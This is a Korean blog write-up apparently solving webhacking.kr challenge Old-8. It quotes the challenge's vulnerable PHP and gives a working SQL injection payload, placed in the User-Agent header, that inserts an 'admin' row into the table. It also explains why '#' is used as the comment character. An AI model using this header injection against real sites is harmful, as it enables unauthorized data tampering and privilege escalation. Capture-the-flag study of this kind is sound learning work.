특별한 반응이 없어서 코드를 확인하였다.
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
접속한 브라우저와 공인 ip를 각각 agent, ip 변수에 넣어줬다.
Agent 변수는 preg_match 함수로, from
문자열이 있는지 검사하였다.
만약 있다면, Access Denied! 문구와 agent에 있는 특수문자가 HTML 엔티티로 변환된 문자열을 페이지에 출력하고, 종료한다.
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
Chall8 테이블에 ID 컬럼의 총 갯수를 count_ck 변수에 넣어줬다.
만약 count_ck 변수의 값이 70개 이상이라면, chall8 테이블은 삭제된다.
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
select id from chall8 where agent=접속한 브라우저
로 나온 결과가 없다면, 테이블에 agent, ip 변수를 삽입한다.
만약 결과가 있고, 그 결과가 admin이면 Flag를 획득할 수 있다.
나는 프록시를 이용하여 agent 정보를 수정하여 SQLi를 진행할 것이다.
일단 첫번째 목표를 insert 쿼리에 SQLi를 삽입하여 admin을 생성하여, 요청할 것이다.
User-Agent: lrtk', '0', 'admin')#
위와 같은 SQLi를 삽입하였다.
삽입을 한 쿼리를 보면, insert into chall8(agent,ip,id) values('lrtk, '0', 'admin')#','{$ip}','guest')
으로 된다.
--
대신 #
를 사용한 이유는 trim(getenv("HTTP_USER_AGENT"))
때문이다.--
를 사용하여, 뒤의 쿼리가 주석처리가 되기 위해선 --
뒤에 공백이 존재해야 한다. 하지만 trim 함수로 공백이 삭제가 되기 때문에 --
은 주석처리가 되지 않는다.#
의 경우, 뒤에 공백이 없어도 주석처리가 되기 때문에 #
를 이용하여 주석처리를 한 것이다.
테이블에 데이터를 삽입하고, 다시 Agent를 lrtk로 수정하여 보내면, Flag를 획득할 수 있다.
'워게임 > webhacking.kr' 카테고리의 다른 글
[Webhakcing.kr] Old - 48 Write Up (0) | 2021.05.29 |
---|---|
[Webhacking.kr] Old - 35 Write Up (0) | 2021.05.29 |
[Webhacking.kr] Old - 3 Write Up (0) | 2021.05.28 |
[Webhacking.kr] Old - 60 Write Up (0) | 2021.05.27 |
[Webhacking.kr] Old - 49 Write Up (0) | 2021.05.27 |